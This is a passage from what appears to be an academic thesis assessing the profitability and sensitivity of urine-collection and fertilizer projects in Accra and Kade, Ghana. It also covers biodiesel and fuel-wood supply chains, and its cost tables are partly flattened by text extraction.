155 Profitability of the project Accra 1 Refer to Section for information on the calculation of net present value (NPV) and internal rate of return (IRR). Assuming that the project runs unchanged for five consecutive years and the nominal interest rate (i) is 25 % (typical interest rate on loans in Ghana 57 ), the NPV would amount to over GH 32,500 (see Table 4.19) and the nominal IRR would be 54 %. IRR is based on NPV and it is a special case of NPV, where the rate of return calculated is the interest rate corresponding to a zero NPV (refer to Section ). The IRR was calculated with the built-in Microsoft Excel function, which seeks the IRR for net cash flows as presented in Table Table 4.18 presents the data for the calculation of the NPV and the IRR. The NPV higher than zero and the IRR higher than the nominal interest rate (i) suggest that the project is expected to be profitable. Table 4.18: Investment, operational costs and revenues of the project Accra 1 Investment Cost (GH ) Total (GH ) Upgrading of 14 public urinals 10,850 Equipped truck 29,550 7 bladders for urine storage 4,200 44,600 Operational costs (GH /year) Total (GH ) Labor (1 employee) 2,750 Fuel, truck labor and maintenance (Accra-Nsawam) 17,600 20,350 Revenues (GH /year) Total (GH ) Revenues from urine sold in Nsawam 36,650 Revenues from poultry manure transportation 2,900 39,550 Table 4.19: Cash flow statement for the project Accra 1 using current prices and nominal interest rate (inflation included) Inflation Recurrent Yearly Discount a Year Investment Net cash flow DNCF factor Costs Revenues factor (1+0.16) t (t) (GH ) (GH ) (GH ) (GH ) 1/(1+0.25) t (GH ) ,600-44, , ,606 45,878 22, , ,383 53,218 25, , ,765 61,733 29, , ,847 71,611 34, , ,743 83,069 40, ,214 NPV 32,550 a) DNCF refers to discounted net cash flow Table 4.19 shows the project s cash flow statement in current prices. The average annual rate of inflation (consumer prices) for the years in Ghana is approximately 16 % (World Bank, 2011a). Thus, recalculation of the project cash flows in constant prices and the real discount factor (r) has to be performed on a yearly basis (refer to Section ). The real discount factor (r) is calculated according to Equation 3.4. The average expected annual rate of inflation (p) in Ghana is assumed to be 16 %. The nominal discount rate (i) is assumed to be 25 %, which is the nominal interest rate set by banks in Ghana. The NPV from constant and current prices should always be the same and they are. The real IRR is approximately 33 %. It is much higher than the real interest rate (r) of 8 %, which 57 Source: pers. correspondence, D. van Rooijen, IWMI Ghana,
156 132 indicates that the project is expected to be profitable. For the net cash flows used to calculate the real IRR, refer to Appendix E Sensitivity analysis of the project Accra 1 Project income and expenditure is always subject to risk and uncertainty (Romijn and Balkema, 2009). Therefore, it is essential to assess the results in order to prove how sensitive they are to changes in cost and benefit items. Switching value presented in Table 4.20 refers to the change in a cash flow item that is required for the NPV to turn to zero. Switching values were calculated using the built-in Goal Seek function in Microsoft Excel 58. Using this function, the variables presented in Table 4.20 were run through the Goal Seek function in order to find the value of the particular variable, for which the NPV would turn to zero. Table 4.20: Current and switching value for selected variables for Accra 1 Variable Current Switching Switching value (GH ) value (GH ) value (%) Investment 44,600 77, Yearly labor cost urinals 2,750 10, Yearly cost truck 17,600 25, Yearly revenues from selling urine 36,650 28, Yearly revenues from poultry manure transportation 2,900-5, It is important to highlight the significance of the monetary value of nutrients contained in urine. Without revenues generated from it, the NPV would be negative, i.e. the project would yield less than the market interest rate. A drop in revenues from nutrients contained in urine by 22 % would make the NPV equal to zero, which clearly shows how sensitive the project s profitability to this source of income is (see Table 4.20). This is, however, not so likely to happen as urine will be applied on nonfood crops (oil palms). Oil-yielding crops belong to cash crops so their high harvest rates are of particular interest to farmers. However, if a poor economic situation of farmers does not allow them to pay for urine or if they are unwilling to apply urine on their farmlands, revenues will drop. If the initial investment increases by 73 %, the NPV will also be equal to zero. However, this seems unlikely to happen as the estimates are based on market values of existing products. If the yearly truck costs increase by 46 %, the NPV will turn to zero. This is mainly dependent on the price of fuel, the driver s salary and truck maintenance costs. Due to the fact that the revenues from poultry manure transportation are not as significant as from the selling of urine, the project is not sensitive to the changes with regard to this particular variable. The same applies to the consideration of yearly labor costs for maintenance of public urinals, where an increase in labor costs by almost 300 % represents the switching value. In order to consider factors that can affect transportation costs, a separate sensitivity analysis was performed. The results of this analysis are presented in Table If the fuel price increases by 25 %, it will have a definite impact on the IRR (a decrease by 14 %) and NPV (a decrease by 29 %) of the project. A similar impact is seen if the 58 When goal seeking, Microsoft Excel varies the value in one specific cell until a formula that is dependent on that cell returns the result one wants.
157 133 truck price increases by 25 %. If overall transportation costs (excluding the price of the truck) increase by 25 %, it will result in the IRR decreasing by 23 % and the NPV decreasing by 46 %. If, on the other hand, it is possible to decrease the transportation distance by 50 %, this will have a significant positive impact on both IRR (an increase by 34 %) and NPV (an increase by 72 %). Table 4.21: Sensitivity analysis of variables of transportation costs for Accra 1 Variable Assumption Effect on nominal IRR Effect on NPV Fuel price 25 % increase 14 % decrease 29 % decrease Truck price 25 % increase 17 % decrease 23 % decrease Transportation costs a 25 % increase 23 % decrease 46 % decrease Transportation distance 50 % decrease 34 % increase 72 % increase a) It is assumed that all transportation costs with the exclusion of truck price increase by 25 %. This analysis clearly shows that transportation costs are a significant constituent of the project s recurrent costs and if it is possible to store urine closer to the origin (its pick-up point), this should be done. Nevertheless, it should be highlighted that land in big cities is hardly available or, if available, it is leased for a considerable price. Therefore, an opportunity analysis always needs to be performed. The effects of changes in investment, recurrent costs and revenues on the IRR and the NPV were studied (see Table 4.22). This analysis shows that small changes in investment and recurrent costs do not have a decisive effect on the IRR nor the NPV. The switching value for investment is high, which shows that the project is not very sensitive to this variable. The switching value for recurrent cost is lower than for investment, but it is still within a safety zone. When it comes to revenues, a 10 % decrease in revenues will have an effect on the IRR, but the IRR will still be much higher than the discount rate (25 %) and the NPV will still be well above zero. If revenues drop by 20 %, the project will not be profitable anymore (see the switching value for revenues in Table 4.22). This shows the sensitivity of the project when considering this variable, in particular to the revenues generated from selling urine. The previous analysis presented in Table 4.20 already proved the sensitivity of the project to revenues generated from the selling of urine. Therefore, the project requires that there is a demand for urine and that the farmers are willing to pay for the urine. Therefore, a well-planned promotional campaign should be carried out. For information on promoting ecosan in Ghana refer to Section 5.5. Table 4.22: Effects on the IRR and the NPV of changing cash flow items for Accra 1 Cash flow item Assumption a Effect on IRR b Effect on NPV Switching value Investment 10 % increase 6 % lower 14 % lower 73 % increase Recurrent costs 10 % increase 7 % lower 25 % lower 40 % increase Revenues 10 % decrease 13 % lower 49 % lower 20 % decrease a) It is assumed that investment and recurrent costs increase by 10 % and revenues decrease by 10 %, and not by 25 % as in the case of transportation costs. This is due to the fact that these variables are costs of higher magnitude, i.e. transportation costs are only a fraction of recurrent costs. b) nominal IRR
158 Project Accra 2 In the project Accra 2, it is also assumed that 7,000 l of urine is collected daily from fourteen public male urinals located in the Central Business District (CBD) in Accra (refer to Table 4.16 and to Section 4.2.2). As in the project Accra 1, it is assumed that urine is transported to Nsawam (located approx. 40 km north of Accra) to be stored there for 1 month in plastic bladders, prior to being applied as fertilizer on oil palm fields. Due to the fact that there are many urban farms located in and around Accra, the collected urine could also be applied on, for example, maize farms located around the University of Ghana (Legon) (Kufogbe et al., 2005 cited in Obuobie et al., 2006), which is located approximately 15 km from the CBD. This area is located in the Ga East District. Average maize yield in 2010 in Ghana was only 1.7 Mt/ha, whereas under rain fed conditions it can reach up to 6.0 Mt/ha (Ministry of Food and Agriculture, 2011). Urine collected from CBD would be transported four times per month to Nsawam, and poultry manure would be transported on the return trip to Accra (30 t/month of poultry manure on a truck able to carry 7 tons). The rest of the month, urine collected from public urinals in CBD would be transported to maize farms in Accra. According to the information provided in Table 4.23, the urine collected from public urinals in CBD would be enough to fertilize over 170 hectares of maize plantations. However, the risk of social rejection of fertilizing food crops with human urine needs to be considered. Fertilization with 64 kg N/ha, 38 kg P 2 O 5 /ha and 38 kg K 2 O/ha in the Ga District in Ghana is the extension recommendation to achieve a yield of 2.5 t/ha, whereas the farmer s practice yield is only 0.61 t/ha (IPNIS, 2011). Thus, applying the recommended nutrient amount, one could reach four times higher yields, which could result in farmers higher income. Taking into account the producer price for maize in Ghana (2009) of 545 GHȼ/t 59 (FAO, 2009b), farmers could gain up to 1,000 GHȼ/ha in revenues due to the 1.9 t/ha yield difference that could be achieved. By meeting the nitrogen nutritional requirements of maize plants, 52 % of the phosphorous nutritional requirements and 92 % of the potassium nutritional requirements will be met (refer to Table 4.4 for NPK content of urine in Ghana). Therefore, fertilization of maize plants needs to be complemented, in particular to meet the phosphorous nutritional requirements. Table 4.23: Facts about fertilizing maize plants with urine in the Ga District, Ghana Fertilization rate of maize plants a Maize yield a Application rate of urine on maize plants b Urine available from public urinals in CBD c Maize plantation fed with collected urine 64 kg N/ha*year 2.5 t/ha 12,737 l/ha*year 220,000,000 l/year 174 ha/year a) Source: IPNIS, b) Based on nutrient content of urine in Ghana (refer to Table 4.4). c) The volume of urine available from public urinals in the Central Business District after subtracting the volume of urine transported to Nsawam 4 times per month. 59 The price was converted from USD to GHS using the average exchange rate of 2009 from OANDA (2012).
159 Profitability of the project Accra 2 The investment, operational costs and revenues of the project Accra 2 are presented in Table Based on these variables, it was calculated that the project Accra 2 will be able to reach the NPV of almost GH 39,900 and the nominal IRR will be equal to 50 % (see Table 4.25). The IRR was calculated with the built-in Microsoft Excel function, which seeks the IRR for net cash flows as presented in Table The real IRR using the cash flows in constant prices and the real discount rate (r) is 29 %, which is much higher than the real discount rate (r) (8 %). For the net cash flows used to calculate the real IRR refer to Appendix E.3. Table 4.24: Investment, operational costs and revenues of the project Accra 2 Investment Cost (GH ) Total (GH ) Upgrading of 14 public urinals 10,850 Equipped truck 29, bladders for urine storage 22,800 63,200 Operational costs (GH /year) Total (GH ) Labor (1 employee) 2,750 Fuel, truck labor and maintenance (Accra-Nsawam) 2,300 Fuel, truck labor and maintenance (around Accra) 8,850 13,900 Revenues (GH /year) Total (GH ) Revenues from urine sold in Nsawam 4,800 Revenues from nutrients sold around Accra 31,850 Revenues from poultry manure transportation 2,900 39,550 Table 4.25: Inflation Year factor (1+0.16) t (t) Cash flow statement for the project Accra 2 using current prices and nominal interest rate (inflation included) Investment (GH ) Recurrent Costs (GH ) Yearly Revenues (GH ) Net cash flow (GH ) Discount a DNCF factor 1/(1+0.25) t (GH ) ,200-63, , ,124 45,878 29, , ,704 53,218 34, , ,696 61,733 40, , ,168 71,611 46, , ,195 83,069 53, ,653 NPV 39,868 a) DNCF refers to discounted net cash flow Sensitivity analysis of the project Accra 2 The project Accra 2 will become unprofitable if the investment increases by 63 % and if the annual revenues from urine sold in Accra (to maize farmers) drop down by approximately 31 % (see Table 4.26). This proves that the project Accra 2, just like project Accra 1, is sensitive to this source of income. Due to the small volume of urine sold in Nsawam, the project is not sensitive to this variable. Furthermore, yearly labor costs for maintenance of urinals would have to increase by over 360 % to turn the NPV to zero, which is also unlikely to happen. Costs that are incurred for the transportation of urine to maize farms (within Accra) would have to increase by 112 % to turn the NPV to zero. These costs are
160 136 dependent on fuel costs, truck maintenance costs and driver s salary. If these costs increase significantly, the costs of transportation of urine would have to be compensated, e.g., by carrying other cargo on the return trip. Income from transportation of poultry manure is not significant as it is mainly for transportation economy, so the project is not sensitive to this particular variable. Table 4.26: Current and switching value for selected variables for Accra 2 Variable Current Switching Switching value (GH ) value (GH ) value (%) Investment 63, , Yearly labor costs urinals 2,750 12, Yearly cost truck Nsawam 2,300 12, Yearly cost truck Accra 8,850 18, Yearly revenues from selling urine in Nsawam 4,800-5, Yearly revenues from selling urine in Accra 31,850 21, Yearly revenues from poultry manure transportation 2,900-7, The sensitivity analysis of variables connected with transportation costs is presented in Table Due to the short distance of transportation of urine from the CBD to maize farms (15 km) and a rare trip to transport urine from CBD to Nsawam (approx. 40 km), the project Accra 2 is not very sensitive to the variables of transportation costs. Table 4.27: Sensitivity analysis of variables of transportation costs for Accra 2 Variable Assumption Effect on nominal IRR Effect on NPV Fuel price 25 % increase 5 % decrease 11 % decrease Truck price 25 % increase 13 % decrease 19 % decrease Transportation costs 25 % increase 10 % decrease 21 % decrease Transportation distance 50 % decrease 12 % increase 26 % increase The effects of changes in investment, recurrent costs and revenues on the IRR and the NPV were also studied (see Table 4.28). Small changes in investment and recurrent costs do not have a significant effect on the IRR nor the NPV. Switching values for investment and recurrent costs are high. A 10 % decrease in revenues will have a significant effect on the IRR (a decrease by 10 %), but it will still be much higher than the discount rate and the NPV will still be well above zero. The switching value for revenues represents a decrease by 25 %, which again proves that the project is sensitive to the generation of revenues, in particular from the selling of urine in Accra (compare to Table 4.26). Table 4.28: Effects on the IRR and the NPV of changing cash flow items for Accra 2 Cash flow item Assumption Effect on IRR a Effect on NPV Switching value Investment 10 % increase 6 % decrease 16 % decrease 63 % increase Recurrent costs 10 % increase 3 % decrease 14 % decrease 71 % increase Revenues 10 % decrease 10 % decrease 40 % decrease 25 % decrease a) nominal IRR
161 Comparison of Accra 1 and Accra 2 The difference in investment in the project Accra 2 (see Table 4.24) when compared to the project Accra 1 (see Table 4.18) would be in the larger number of storage bladders which have to be purchased for the longer (6 months) storage time required in the case that urine is applied on maize farms (refer to Section for considerations on urine storage). Due to a shorter transportation distance of the urine, the operational costs of the project Accra 2 (see Table 4.24) are almost 6,500 GH /year (over 30 %) lower than the ones of the project Accra 1 (see Table 4.18). Revenues of the project Accra 1 and Accra 2 are the same due to the fact that the same volume of urine is collected and sold in both projects and the same amount of poultry manure is transported from Nsawam to Accra, for which a fee is collected. Both projects ( Accra 1 and Accra 2 ) are sensitive to the revenues collected from the selling of urine (see Table 4.20 and Table 4.26). The sensitivity analysis of variables connected with transportation costs showed that the project Accra 2 (see Table 4.27) is less sensitive than the project Accra 1 (see Table 4.21) to all variables analyzed. The project Accra 2 already assumes the decrease in transportation distance of urine by transporting most of the collected volume to maize farms located only 15 km away from the Central Business District (CBD) and a rare trip to Nsawam located 40 km away from the CBD. Therefore, a further decrease in the transportation distance by 50 % has a much smaller effect on the IRR and the NPV than in the case of the project Accra 1. The differences in results of the analysis of the effects of changes in investment, recurrent costs and revenues on the IRR and the NPV for the project Accra 1 (see Table 4.22) and Accra 2 (see Table 4.28) can be summarized as follows: Switching value for investment is 10 % higher for Accra 1. Switching value for recurrent costs is 31 % higher for Accra 2. Thus, the impact on the IRR and the NPV of a 10 % increase in recurrent costs is higher for the alternative Accra 1. Switching value for revenues is 5 % higher for Accra 2. Thus, the impact on the IRR and the NPV of a 10 % decrease in revenues is higher for the alternative Accra Case study Kade This section presents the third proposed project Kade, which encompasses urine collection from urine diverting dry toilets at the Agricultural Research Station (ARS) of the University in Ghana (Kade). This project does not assume selling of collected urine due to the fact that the urine will be applied on oil palm and fast growing trees plantations owned by the ARS. The project proposes production of fuel wood from fast growing trees and biodiesel from palm oil as well as running trucks on biodiesel and using them for the transportation of urine to its storage location (ARS plantations) and of fresh fruit bunches to oil mills Introduction to Kade Kade is a semi-urban settlement located in the Kwaebibirem District, Eastern Region of Ghana, where most settlements lack improved sanitary facilities. Household sanitation includes pit latrines (40 %), KVIP (7 %) and flush toilets (3 %) (Ghana
162 138 Districts, 2006). Public toilets of any kind (pit latrines, KVIP and flush toilets) are used by 29 % of the population. The fee charged for using a public toilet is GH 0.10 (Martinez Neri, 2009). Still, almost 4 % of the population in the district practices open defecation, over 2 % use a bucket or pan toilet and the same percentage use a facility in another house (Ghana Districts, 2006). Lack of adequate sanitation facilities poses severe health risks to people and negative consequences for the environment. Agriculture is the biggest economic activity in the district (Ghana Districts, 2006). The largest oil palm mill in West Africa operated by Ghana Oil Palm Plantation Development Company (GOPDC) is located here. Altogether 40,000 ha of land in the district is cultivated with oil palm (Martinez Neri, 2009). Many agricultural problems, including soil erosion, deforestation, limited application of fertilizers, low level of modern agricultural technology and overdependence on the weather lead to usually low agricultural production rates of small scale farms (Ghana Districts, 2006) Project Kade The Agricultural Research Station (ARS) of the University in Ghana located in Kade needs to build a toilet complex for its dwellers (Martinez Neri, 2009). If a urine diverting dry toilet (UDDT) facility is built, collected urine can be used to help fertilize 200 ha of ARS oil palm plantation that is currently not fertilized due to economic hardships. There is a positive attitude of the population living in Kade towards ecosan (Martinez Neri, 2009). Thus, it can be expected that other villages and educational institutions in the district will follow suit when they recognize the advantages of the ecosan approach. Towns and villages in the vicinity of Kade, where urine could be collected, are located at a maximum distance of 8 km from each other, which would make urine collection and transportation cheap. Oil palm fields are also situated in the vicinity, making the storage of urine cost effective, assuming that it can be stored on the plantations. ARS consumes over 10,000 liters of diesel per year, constituting an expenditure of almost GH 13,000 (Martinez Neri, 2009). If a part of the harvested palm oil (fertilized with liquid urine) is converted into biodiesel, it could reduce their expenditure significantly. The opportunity cost of losing income from selling of palm oil is included in the considerations as the costs of biodiesel production take into account the cost of palm oil (refer to Table 4.12). Urine can be used to fertilize oil palm trees. Considering that an average of 135 oil palms/ha are planted in the district, it would be necessary to apply over 9,700 liters of urine/ha to meet the nitrogen nutritional requirements of oil palm trees (see Table 4.11). As discussed in Section , by meeting the nitrogen nutritional requirements, only 13 % of the P and 20 % of the K nutritional requirements of oil palm trees will be met. Therefore, for example, poultry manure rich in phosphorus (Roy, 2006) and oil palm EFB rich in potassium (Corley and Tinker, 2003) can be used to complement the fertilization. Fast growing trees for fuel wood production can also be fertilized using urine. Planting fast growing trees for fuel wood production can help minimize the problem of deforestation in Kade. The climate and soil conditions in Kade (Ghana) allow for planting fast growing trees species such as Kassod tree (Cassia siamea), which was reported to have a wood production of approximately 86 t/ha after the short rotation period of four years and
163 139 an excellent energy productivity (Mainoo and Ulzen-Appiah, 1996) 60. Other tree species which can be considered for fuel wood production under the climatic and soil conditions found in Kade include: Gliricidia sepium, Leucaena leucocephala, Casuarina equisetifolia and Gmelina arborea (for detailed climatic and soil conditions see Table 4.13). The trees do not need extra irrigation as long as they are planted to coincide with the rainy season so that they can get rooted before the dry season. In Accra, fuel wood transported from the Eastern Region has a value of 150 GH /t (Martinez Neri, 2009). Its transportation from the Eastern Region to Accra costs approximately 50 GH /t, so the cost of the wood alone is 100 GH /t (Martinez Neri, 2009). If urine is to be used to fertilize fast growing trees, the value of fuel wood harvested per hectare after four years will amount to approximately GH 8, (see Table 4.15). In fuel wood plantations of Cassia siamea spacing ranges from 1m x 1m to 1m x 3m, which can be translated to planting 3,350-10,000 trees per hectare (World Agroforestry Centre, 2011). On fertile land, fertilizer may not be necessary. However, on soils with moderate to low fertility, it is recommended to fertilize the area with nitrogenous fertilizer to increase seedling growth (Kannana and Paliwala, 1996). Depending on soil type, 100 kg-150 kg of NPK 15:15:15 can be applied per hectare to boost the initial growth (Tripathi and Psychas, 1992; Florido and Cornejo, 2002) 62. Due to the high nitrogen content of urine, urine should be applied at a rate corresponding to the nitrogen requirements of Kassod tree. Thus, a need of approximately kg of N/ha can be satisfied by approximately 3,000-4,500 liters of urine (see Table 4.4). The fertilization should be complemented with poultry manure or composted urban material (both rich in phosphorus and potassium) (Roy, 2006) or oil palm empty fruit bunches rich in potassium (Corley and Tinker, 2003). The rotation period of Kassod tree is as short as 4 years, i.e. it takes 4 years for the first wood harvesting. It is advisable to plant one hectare of the species each year for 4 consecutive years in order to ensure yearly harvesting of wood starting from the fourth year Profitability of the project Kade The investment, operational costs and revenues which can be generated by the ARS are presented in Table Variables for their calculation are presented in Table Trees were grown under natural conditions, no fertilizers were added and no extra irrigation was performed. 61 It could be more, since the fuel wood yield for Cassia siamea was given for no fertilizer application. Thus, higher fuel wood yield can be expected. 62 Due to missing literature on fertilizer recommendation for Cassia siamea, the fertilizer recommendation presented is based on the one for similar tree species, i.e. Gmelina arborea and Leucaena leucocephala.
164 140 Table 4.29: Investment, operational costs and revenues of the project Kade Investment Cost (GH ) Total (GH ) Biodiesel plant 1,600 UDDT sanitation complex 5,500 1 bladder for urine storage equipped trucks a (with 6 containers and water pump) 56,400 64,100 Operational costs (GH /year) Total (GH ) Labor (2 employees) 5,500 Fuel, truck labor and maintenance (Accra-Kade) 4,300 Fuel, truck labor and maintenance (FFB to GOPDC) 23,100 Biodiesel production 251, ,550 Revenues (GH /year) Total (GH ) Revenues from biodiesel sales 281,000 Revenues from transportation of FFB to GOPDC 47, ,250 Revenues from fuel wood sales, after 4 th year 8, ,850 a) Truck 1: equipped with 6 containers (mainly for urine transportation) and a diesel-powered water pump to pump urine into containers; Truck 2: equipped with 22 containers (for biodiesel transportation). Both trucks are also used to transport fresh fruit bunches to oil palm mills. Table 4.30: Variables for the calculation of investment, operational costs and revenues for Kade Biodiesel plant capacity UDDT sanitation complex users Urine production a Biodiesel transportation cost (Kade-Accra) Transportation radius, Kade-Accra, round trip Frequency of biodiesel transportation Cost of biodiesel production ARS own biodiesel consumption Biodiesel selling price Amount of FFB transported to GOPDC Frequency of FFB transportation to GOPDC FFB transportation cost (to GOPDC) Transportation radius to GOPDC, round trip Price for transportation of FFB 800 l/day 500 people/day 0.5 l/person, day 107 GH /round trip 230 km 40 times/year 0.86 GH /l 11,000 l/year 1.00 GH /l 4,500 t/year 645 times/year 36 GH /round trip 50 km 11 GH /t a) Own assumption based on literature review: Mann, 1976 cited in Aalbers, 1999; Heinss et al., 1998; Rauch et al., 2002; SuSanA, Due to the fact that it is not a household toilet facility, the volume of urine generated needs to be assumed to be less than found in the literature (approx. 40 % of the volume found in the literature was assumed). Looking at the price for the transportation of poultry manure (see Section 4.2.2), it was assumed that the price for the transportation of FFB can be set at 11 GH /t. The transportation needs for FFB to GOPDC can be estimated to approximately 140,000 t/year 63, whereas a feasible assumption is to cover only about 3 % of the 63 Based on the following information: GOPDC has 18,750 hectares of oil palm plantations at Kwae, of which the nucleus estate of 4,750 ha (Business in Ghana, 2011) has a yield rate of 12 t/ha (Ministry of Food and Agriculture, 2010), whereas the remaining 14,000 ha are outgrower and smallholder farms (Business in Ghana, 2011) with a yield rate of approximately 10 t/ha (pers. correspondence, I. Martinez Neri, ).
165 141 transportation needs as a lot of FFBs are already transported by independent carriers. The calculated NPV (see Table 4.31) is positive (almost GH 117,500) and the nominal IRR (89 %) is much higher than the nominal interest rate (i) (25 %), which suggests that the project is expected to be more profitable than the cost of financing it. It is necessary to highlight the fact that the value of nutrients in urine collected from the UDDT complex is not included as monetary benefits in this profitability analysis. It was assumed that the urine would be used to fertilize fast growing trees and some area of the oil palm farm owned by the ARS. The real IRR calculated using the cash flows in constant prices and the real discount rate (r) is 63 %, which is much higher than the real discount rate (r) (8 %). For the net cash flows used to calculate the real IRR refer to Appendix E.3. Table 4.31: Inflation Year factor (1+0.16) t (t) Cash flow statement for the project Kade using current prices and nominal interest rate (inflation included) Investment (GH ) Recurrent Costs (GH ) Yearly Revenues (GH ) Net cash flow (GH ) Discount DNCF factor 1/(1+0.25) t (GH ) ,100-64, , , ,770 50, , , ,693 58, , , ,364 68, , , ,342 79, , , , , ,995 NPV 117,416 a) DNCF refers to discounted net cash flow Sensitivity analysis of the project Kade The project is sensitive to the costs of producing biodiesel. If they rise by only 12 %, the NPV of the project will be equal to zero (see Table 4.32). The reason for this is the low price of biodiesel which has been set in order to offer a price advantage on the market. In order to alleviate the effects of production costs, the price of biodiesel could be increased in order to secure a considerable income or a biodiesel plant with a larger production capacity could be built instead. Furthermore, ARS consumes a considerable amount of produced biodiesel. If not enough revenue is generated from the sales of biodiesel (down by 10 %), the project will not be profitable any longer. The sensitivity analysis proves that the project will fail in case the demand for biodiesel is not in place or if the cost of producing biodiesel rises and the selling price remains the same. a
166 142 Table 4.32: Current and switching value for selected variables for Kade Variable Current Switching Switching value (GH ) value (GH ) value (%) Investment 64, , Yearly labor costs 5,500 34, Yearly truck cost for biodiesel 4,300 33, Yearly truck cost for FFB 23,100 52, Yearly biodiesel production costs 251, , Yearly revenues from biodiesel 281, , Yearly revenues from wood sales (after 4th year) 8, ,003-1,984 Yearly revenues from transportation of FFB to GOPDC 47,250 18, If yearly costs of transportation of FFB to GOPDC increase by 126 % and if the revenues from transportation of FFB to GOPDC go down by 62 %, the project s NPV will be equal to zero. The project is not sensitive to the labor costs and costs incurred for the transportation of biodiesel as the transportation frequency is low (40 times a year). Also, the sales of fuel wood can only start after the rotation period of Kassod tree, which takes approximately four years. Thus, the project is not sensitive to this variable. A more detailed analysis of variables connected to transportation costs was performed and the results are presented in Table Due to the fact that revenues from transportation of FFB constitute a significant part of the project s income, the revenue variable is sensitive to different variables of transportation costs. Table 4.33: Sensitivity analysis of variables of transportation costs for Kade Variable Assumption Effect on nominal IRR Effect on NPV Fuel price 25 % increase 7 % decrease 11 % decrease Truck price 25 % increase 18 % decrease 12 % decrease Transportation costs 25 % increase 13 % decrease 19 % decrease Transportation distance 50 % decrease 18 % increase 28 % increase Analyzing the effects of 10 % changes in investment, recurrent costs and revenues on the IRR and the NPV values leads to two conclusions. First of all, the project Kade is highly sensitive to a decrease in revenues (see Table 4.34). If revenues turn out to be 11 % lower than assumed, the project will turn unprofitable (the NPV will be equal to zero and the IRR will be lower than the discount rate). Even though the project s NPV is positive, it is not advisable to implement this project unless realistic measures can be taken to reduce the risk of an unfavorable revenue scenario. Secondly, the project is designed to be self-sustaining (i.e. to cover its operational costs with a small surplus), and therefore, it is also sensitive to the change in recurrent costs. If these costs increase by a bit more than 10 %, the NPV will be equal to zero and the IRR will be lower than the discount rate. On the other hand, the project s switching value with regard to the investment is considerably high. It can be attributed mainly to the fact that the project s initial investment is rather low.
167 143 Table 4.34: Effects on the IRR and the NPV of changing cash flow items for Kade Cash flow item Assumption Effect on IRR a Effect on NPV Switching value Investment 10 % increase 8 % decrease 5 % decrease 183 % increase Recurrent costs 10 % increase 62 % decrease 97 % decrease c. 10 % increase Revenues 10 % decrease 74 % decrease 113 % decrease 11 % decrease a) nominal IRR 4.4 Interaction of projects Accra 1, Accra 2 and Kade The two supply chains proposed 64 are designed to interact with each other. Figure 4.6 and Figure 4.7 summarize the supply chains discussed. If other villages and educational institutions in the Kwaebibirem District install UDDTs in the future, a heavy duty truck can be used to collect and transport urine from UDDTs to its storage location and to transport other cargo within the area. There is a lot of transportation service required in the district, including fresh fruit bunches (FFB) to oil mills, poultry manure from farms to oil palm fields, oil palm and other tree seedlings 65 to other areas in Ghana as well as supplies for biodiesel production, once biodiesel plants are installed. The truck can also transport fuel wood obtained from fast growing trees in Kade. If a large scale biodiesel processing plant is built in Kade in the future, biodiesel could also be transported to Accra and, on the return trip, supplies (alcohol and catalyst) for biodiesel production could be transported. Biodiesel Tree seedlings Palm oil Fuel wood KADE Biodiesel plant Oil palm fields Oil palm mills NSAWAM Urine storage Poultry manure 80 km Biodiesel plant ACCRA, CBD 40 km a Oil palm fields Public urinals Methanol, catalyst Oil palm mill Urine, Poultry farms methanol, catalyst 15 km Urine a) CBD Central Business District b) Maize farms located next to the University of Ghana Alternative Accra 2 Distances: Accra Nsawam: 40 km Nsawam Kade: approx. 80 km ACCRA b Urine storage Urban farms (maize) Figure 4.6: Supply chain: Kade-Nsawam-Accra 64 Accra 1 and Accra 2 are considered as two alternatives of one supply chain. 65 The ARS nurses various tree seedlings, which are then transported to different locations in Ghana (Martinez Neri, 2009).
168 144 Poultry manure Poultry farms ARS a Oil palm fields Biodiesel plant Fresh fruit bunches Palm oil GOPDC b Oil palm mill Fresh fruit bunches Oil palm fields Biodiesel Semi-urban settlements a) ARS - Agricultural Research Station of the University in Ghana, Kade, Kwaebibirem District b) GOPDC - Ghana Oil Palm Plantation Development Company, Kwae, Kwaebibirem District Figure 4.7: Supply chain: Kade-Kwaebibirem District 4.5 Further discussion The profitability of the project, expressed as the NPV, IRR and PBP, proved that they are all expected to be financially profitable (refer to Table 4.35). The two alternatives for the project in Accra show that a higher NPV can be reached if urine is sold to maize farmers due to the proximity of maize farms to the Central Business District (urine pick-up point). However, the risk of social rejection when applying urine on land used to cultivate edible crops needs to be taken into account. A previous study showed that farmers have restricted acceptance towards excreta in general and its reuse in agriculture (Schröder, 2010). A recent study in Ghana revealed that consumers were willing to purchase vegetables fertilized with human urine, however, they were concerned about the possible health effects of their consumption (Koomson, 2010 cited in Cofie et al., 2011). The same study concluded that farmers with a positive perception of the quality of urine will be willing to apply it on their vegetable farms and it is more probable for young than old farmers to fertilize with urine. The project Accra 2 has a lower IRR value than that of the project Accra 1 (refer to Table 4.35) due to the larger investment that has to be made in order to accommodate the longer storage time required for urine when it is to be applied on land used to cultivate food crops. Higher NPV and IRR values for the project Kade result from much higher revenues than in the projects Accra 1 and Accra 2. Also, for the project Kade, a relatively low investment is required, which is mirrored in the payback period of 1.5 years.
169 145 Table 4.35: Comparison of projects Accra 1, Accra 2 and Kade Variable Accra 1 Accra 2 Kade NPV (GH ) 32,600 39, ,500 Real IRR 33 % 29 % 63 % Nominal IRR 54 % 50 % 89 % PBP (years) Risk of social no yes no rejection Income from: NPV=0, if: investment increases by transportation costs increase by biodiesel production costs increase by revenues from nutrients decrease by revenues from biodiesel decrease by revenues from transportation decrease by - urine as fertilizer - transportation of poultry manure - urine as fertilizer - transportation of poultry manure - biodiesel - fuel wood - transportation of FFB 73 % 63 % 183 % 46 % 112 % a 126 % b n.a. n.a. 12 % 22 % 31 % a n.a. n.a. n.a. 10 % negligible negligible 62 % If project s lifetime extended from 5 to 8 years: NPV increases by 105 % 115 % 79 % a) These values refer to the transportation costs to urban maize farms (Accra) and revenues from nutrients collected from urban maize farmers. The switching values for transportation costs to Nsawam and revenues from urine sold in Nsawam are very high, hence negligible. b) The value refers to transportation costs of FFBs. The sensitivity analyses for the projects Accra 1 and Accra 2 proved that the revenues from nutrients contained in collected urine play an important role to the project s profitability (see Table 4.35). Nevertheless, the alternative Accra 2 is less sensitive to the decrease in revenues from the selling of urine and to the increasing transportation costs. It is important to highlight the influence of fertilizer price fluctuations on the value of nutrients contained in urine (refer to Section for the calculation of the value of nutrients contained in urine). Another important variable in this context is the nutrient composition of urine. This differs with the type of the diet (it may not only vary between countries but also between individuals), the digestibility of this diet (digested nutrients will be excreted with urine, whereas undigested nutrients with feces), the volume of consumed liquids or the level of sweating (excessive sweating will result in concentrated urine, whereas consumption of large volumes of liquids in diluted urine) (Jönsson et al., 2004; Jönsson and 